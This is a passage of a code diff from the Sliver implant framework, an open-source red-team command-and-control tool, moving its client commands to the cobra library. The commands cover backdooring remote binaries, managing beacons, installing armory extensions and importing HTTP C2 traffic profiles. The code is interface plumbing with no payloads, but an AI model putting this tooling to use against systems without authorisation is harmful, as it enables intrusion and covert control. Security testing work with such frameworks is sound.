||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
|
||||
color = console.Green
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
@@ -350,15 +368,15 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
rawProxyURL, _ := cmd.Flags().GetString("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
rawTimeout, _ := cmd.Flags().GetString("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
@@ -367,11 +385,14 @@ func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
}
|
||||
}
|
||||
|
||||
ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
|
||||
disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
IgnoreCache: ignoreCache,
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
DisableTLSValidation: disableTLSValidation,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -26,26 +26,27 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
@@ -175,7 +176,10 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
|
||||
menuCmd := con.App.Menu(constants.ImplantMenu).Root()
|
||||
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -185,8 +189,9 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
if extensions.CmdExists(dep, sliverMenu.Command) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
@@ -300,9 +305,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu)
|
||||
//
|
||||
// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
|
||||
// con.App.Commands().Remove(extCmd.Name)
|
||||
// }
|
||||
extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
|
||||
return nil
|
||||
}
|
||||
@@ -33,7 +33,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
|
||||
@@ -21,19 +21,22 @@ package armory
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
|
||||
rawNameExpr := args[0]
|
||||
// rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
|
||||
@@ -22,17 +22,18 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
|
||||
@@ -21,27 +21,28 @@ package backdoor
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remoteFilePath := ctx.Args.String("remote-file")
|
||||
remoteFilePath := args[0]
|
||||
if remoteFilePath == "" {
|
||||
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
profileName, _ := cmd.Flags().GetString("profile")
|
||||
|
||||
grpcCtx, cancel := con.GrpcContext(ctx)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -50,7 +51,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -24,20 +24,21 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
killFlag, _ := cmd.Flags().GetString("kill")
|
||||
killAll, _ := cmd.Flags().GetBool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -71,18 +72,18 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
filter, _ := cmd.Flags().GetString("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
filterRegex, err = regexp.Compile(filterRe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
grpcCtx, cancel := con.GrpcContext(ctx)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
@@ -22,21 +22,23 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
duration, _ := cmd.Flags().GetString("duration")
|
||||
pruneDuration, err := time.ParseDuration(duration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
grpcCtx, cancel := con.GrpcContext(ctx)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
|
||||
@@ -19,18 +19,19 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(ctx)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
|
||||
if err != nil {
|
||||
|
||||
@@ -24,13 +24,14 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
|
||||
@@ -23,16 +23,17 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -0,0 +1,437 @@
|
||||
package c2profiles
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
// retrieve and unmarshal profile config
|
||||
jsonFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
byteFile, _ := io.ReadAll(jsonFile)
|
||||
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
|
||||
err = json.Unmarshal(byteFile, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
|
||||
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
|
||||
httpC2Headers := []*clientpb.HTTPC2Header{}
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
for _, cookie := range config.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
|
||||
Name: cookie,
|
||||
})
|
||||
}
|
||||
serverConfig := &clientpb.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
return &clientpb.HTTPC2Config{
|
||||
Name: profileName,
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Parameter",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// Profile metadata
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Profile Name",
|
||||
profile.Name,
|
||||
})
|
||||
|
||||
// Server side configuration
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
strings.Join(serverHeaders[:], ","),
|
||||
})
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Cookies",
|
||||
strings.Join(serverCookies[:], ","),
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Randomize Server Headers",
|
||||
profile.ServerConfig.RandomVersionHeaders,
|
||||
})
|
||||
|
||||
// Client side configuration
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
strings.Join(clientHeaders[:], ","),
|
||||
})
|
||||
|
||||
var clientUrlParams []string
|
||||
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
|
||||
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Extra URL Parameters",
|
||||
strings.Join(clientUrlParams[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"User agent",
|
||||
profile.ImplantConfig.UserAgent,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Chrome base version",
|
||||
profile.ImplantConfig.ChromeBaseVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"MacOS version",
|
||||
profile.ImplantConfig.MacOSVersion,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
